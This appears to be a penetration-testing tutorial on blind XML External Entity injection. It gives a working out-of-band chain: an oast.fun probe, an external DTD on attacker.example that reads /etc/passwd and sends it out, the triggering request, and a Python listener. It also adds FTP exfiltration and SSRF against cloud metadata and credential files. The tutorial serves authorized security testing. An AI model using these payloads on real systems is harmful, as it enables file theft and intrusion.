Blind XXE: Exfiltrating Files Through Out-of-Band Channels
When an XML parser resolves external entities but returns no output, out-of-band XXE leaks files and internal requests over DNS and HTTP. We cover detection and a working OOB exfiltration chain.
XML External Entity injection abuses a parser that resolves entity references in attacker-controlled XML. When the response echoes parsed content, exfiltration is direct; when it does not — the blind case — you pivot to out-of-band channels, making the parser fetch a URL you control and smuggling file contents into that request.
Where it hides
Any endpoint that parses XML the client supplies is a candidate, and XML hides in more formats than the obvious Content-Type: application/xml:
- SOAP and legacy XML-RPC APIs.
- File uploads that are secretly XML — SVG, DOCX/XLSX (zipped XML), SAML responses, RSS/Atom, XML sitemaps.
- "Import" features (contacts, configs, feeds) accepting XML.
- Endpoints that flip to XML when you change
Content-Typeeven if the UI uses JSON.
The reliable detector for the blind case is out-of-band. Define an external entity pointing at your listener and reference it; a DNS or HTTP hit proves the parser resolved it:
POST /api/import HTTP/1.1
Host: app.example.com
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY x SYSTEM "http://abcd1234.oast.fun/xxe-probe">
]>
<root>&x;</root>
A pingback to oast.fun confirms blind XXE even though the response body shows nothing. The kind of callback is a clue too: a DNS-only hit with no follow-up HTTP request often means the parser resolves the host but a downstream egress filter blocks the connection, while a full HTTP hit means outbound requests leave the box — the latter is what the file-exfil chain below needs. If the inline SYSTEM reference is blocked, try a parameter entity in the DTD, which often slips past filters that only look at the document body. Burp's collaborator and interactsh-client capture the callbacks; many file parsers reveal the bug only when you swap the upload to a crafted SVG/DOCX.
Reproducing it
Blind exfiltration needs a two-stage external DTD: one parameter entity reads the target file, a second builds a URL embedding that file's contents, and the parser then requests your server with the data appended. Host this DTD at http://attacker.example/evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY % send SYSTEM 'http://attacker.example/x?d=%file;'>">
%wrap;
Then send XML that pulls in the external DTD and triggers the send entity:
POST /api/import HTTP/1.1
Host: app.example.com
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % dtd SYSTEM "http://attacker.example/evil.dtd">
%dtd;
%send;
]>
<root>ok</root>
When it works, your web server logs the exfiltrated file contents in the query string:
GET /x?d=root:x:0:0:root:/root:/bin/bash daemon:x:1:1:... (received on attacker.example)
That request, carrying file data the response never returned, is the proof. A minimal listener captures it:
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
print("EXFIL:", self.path) # the d= parameter holds the file
self.send_response(200); self.end_headers()
HTTPServer(("0.0.0.0", 80), H).serve_forever()
When newlines in the target break the URL, switch to an FTP exfil entity (ftp://attacker.example:2121/%file;) and run a tiny FTP listener, which tolerates multi-line content better than HTTP.
Going further
Blind XXE is not limited to file reads — the same primitive makes the server issue arbitrary outbound requests, turning it into SSRF against internal services:
- Point an entity at
http://169.254.169.254/latest/meta-data/and exfiltrate cloud metadata through the OOB channel. - Sweep internal hosts and ports by timing entity resolution.
- Reach internal-only APIs and admin endpoints the parser's network can see.
For impact framing, the highest-value reads are credentials and config (/etc/passwd, app config files, cloud credential files, /proc/self/environ). Capture the probe callback, the hosted DTD, and the exfil request landing on your listener with real file contents. Keep all testing scoped to authorized targets and exfiltrate only enough to prove the read.